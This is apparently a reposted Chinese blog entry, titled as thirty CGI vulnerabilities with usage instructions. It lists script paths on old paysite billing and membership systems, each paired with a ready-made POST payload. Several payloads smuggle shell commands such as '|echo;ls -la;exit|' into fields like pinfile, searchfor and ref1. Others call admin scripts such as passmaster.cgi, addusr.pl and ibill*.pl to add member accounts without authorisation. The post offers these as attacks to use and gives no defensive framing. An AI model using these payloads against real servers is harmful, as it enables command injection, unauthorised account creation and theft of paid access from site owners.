• [cgibin] 30个漏洞+使用方法


    /smspass.pl
    username=username&password=password

    /index.cgi
    wei=ren&gen=command

    /passmaster.cgi
    Action=Add&Username=Username&Password=Password

    /accountcreate.cgi
    username=username&password=password&ref1=|echo;ls|

    /form.cgi
    name=xxxx&email=email&subject=xxxx&response=|echo;ls|

    /addusr.pl
    /cgi-bin/EuroDebit/addusr.pl
    user=username&pass=Password&confirm=Password

    /ccbill-local.asp
    post_values=username:password

    /count.cgi
    pinfile=|echo;ls -la;exit|

    /recon.cgi
    /recon.cgi?search
    searchoption=1&searchfor=|echo;ls -al;exit|

    /verotelrum.pl
    vercode=username:password:dseegsow:add:amount<&30>

    /af.cgi
    _browser_out=|echo;ls -la;exit;|

    /modify.cgi
    username=username&password=password&expire=30

    /openjournal.cgi
    edit=1&ct=2&go=|echo;ls -al;exit|

    /gx9passwd.cgi
    cmd=ADD&user=username&pass=password

    /probecontrol.cgi
    command=enable&username=username&password=password

    /recon.cgi
    searchoption=3&searchfor=echo;ls -la;exit

    /htadd.pl
    configfile=|echo; ls -alt; exit

    /gx9passwd.cgi
    cmd=ADD&user=username&pass=password

    /ibill*.pl
    reqtype=add&authpwd=authpwd&username=username&password=password

    /cpay.cgi
    command=add_member&username=username(EMAIL)&password=password(DES)

    /globill_ut.cgi
    do=add&username=username&password=password&wpassword=password

    /usercontrol.cgi
    command=enable&username=USER&password=PASS

    /globoSALErum.cgi
    action=ADD&seccode=seccode&login=username&password=password

    /addusr.pl
    user=USER&pass=PASS&confirm=PASS

    /pincount.cgi
    /cgi-bin/mastergate/pincount.cgi
    pinfile=|echo;pwd;exit|

    /accountcreate.cgi
    /cgi-bin/gateway/accountcreate.cgi
    username=username&password=password&password2=password&ref1=|echo;ls -al;exit

    /af.cgi
    /env.cgi
    ADD+;echo;pwd;exit

    /count.cgi
    pinfile=|echo;pwd;exit|

    /recon.cgi
    searchoption=1&searchfor=|echo;ls%20-al;exit|

    /add.cgi
    username=username&password=password&expire=30

  • 相关阅读:
    【C++】C++ primer 第三章学习笔记
    【C++】C++ primer 第二章学习笔记
    【C++】C++ primer 第一章学习笔记
    【C++】C++ sort函数
    【C++】C++ primer 第五版 Sales_item.h源码
    【其他】MarkDown的使用
    Dockerfile最佳实践
    docker跨主机通信--模拟flannel host-gw直接路由
    pod 生命周期hook钩子函数
    docker mysql 修改密码
  • 原文地址:https://www.cnblogs.com/zhouwenwu/p/2430938.html
Copyright © 2020-2023  润新知